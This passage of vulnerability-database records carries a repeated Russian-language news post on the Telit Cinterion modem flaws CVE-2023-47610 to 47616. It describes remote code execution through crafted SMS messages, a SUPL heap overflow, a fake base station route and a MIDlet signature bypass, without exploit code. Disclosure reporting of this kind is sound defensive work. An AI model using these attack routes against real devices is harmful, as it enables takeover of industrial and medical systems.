\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 SMS.\n\n\u0421\u043e\u0442\u043e\u0432\u044b\u0435 \u043c\u043e\u0434\u0435\u043c\u044b Cinterion \u043e\u0431\u044b\u0447\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Kaspersky ICS CERT \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432\u043e\u0441\u0435\u043c\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0441\u0435\u043c\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u044b CVE-2023-47610 - CVE-2023-47616, \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 - \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043b\u0438\u043d\u0435\u0439\u043a\u0443 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Cinterion BGS5, Cinterion EHS5/6/7, Cinterion PDS5/6/8, Cinterion ELS61/81 \u0438 Cinterion PLS62.\n\n\u0421\u0430\u043c\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 - CVE-2023-47610, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438, \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 User Plane Location (SUPL) \u043c\u043e\u0434\u0435\u043c\u0430, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0446\u0435\u043d\u0438\u043b\u0438 \u0435\u0435 \u043d\u0430 8,8, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 NIST \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u043c\u0435\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 SMS \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0438\u0432\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0430\u043d\u0446\u0438\u044e, \u0447\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442 \u043e\u0431\u0445\u043e\u0434 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlet - Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f), \u043e\u0431\u0445\u043e\u0434\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438.\n\nTelit \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043d\u043e \u043d\u0435 \u0432\u0441\u0435\u0445: \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u044d\u0442\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445 \u043d\u0435\u0441\u0443\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0431\u043e\u0435\u0432.\n\n\u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0447\u0442\u043e \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u0432 \u0434\u0440\u0443\u0433\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0447\u0435\u043c \u0447\u0435\u0442\u043a\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0435\u0441\u044c \u0441\u043f\u0435\u043a\u0442\u0440 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u043e.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Telit Cinterion \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0432 \u0441\u0443\u0431\u0431\u043e\u0442\u0443 \u043d\u0430\u00a0\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435.", "creation_timestamp": "2024-05-13T19:01:51.000000Z"}, {"uuid": "ca3da5c0-f5ec-45f7-a781-163c195f97d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47616", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5723", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 SMS.\n\n\u0421\u043e\u0442\u043e\u0432\u044b\u0435 \u043c\u043e\u0434\u0435\u043c\u044b Cinterion \u043e\u0431\u044b\u0447\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Kaspersky ICS CERT \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432\u043e\u0441\u0435\u043c\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0441\u0435\u043c\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u044b CVE-2023-47610 - CVE-2023-47616, \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 - \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043b\u0438\u043d\u0435\u0439\u043a\u0443 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Cinterion BGS5, Cinterion EHS5/6/7, Cinterion PDS5/6/8, Cinterion ELS61/81 \u0438 Cinterion PLS62.\n\n\u0421\u0430\u043c\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 - CVE-2023-47610, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438, \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 User Plane Location (SUPL) \u043c\u043e\u0434\u0435\u043c\u0430, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0446\u0435\u043d\u0438\u043b\u0438 \u0435\u0435 \u043d\u0430 8,8, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 NIST \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u043c\u0435\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 SMS \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0438\u0432\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0430\u043d\u0446\u0438\u044e, \u0447\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442 \u043e\u0431\u0445\u043e\u0434 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlet - Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f), \u043e\u0431\u0445\u043e\u0434\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438.\n\nTelit \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043d\u043e \u043d\u0435 \u0432\u0441\u0435\u0445: \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u044d\u0442\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445 \u043d\u0435\u0441\u0443\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0431\u043e\u0435\u0432.\n\n\u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0447\u0442\u043e \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u0432 \u0434\u0440\u0443\u0433\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0447\u0435\u043c \u0447\u0435\u0442\u043a\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0435\u0441\u044c \u0441\u043f\u0435\u043a\u0442\u0440 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 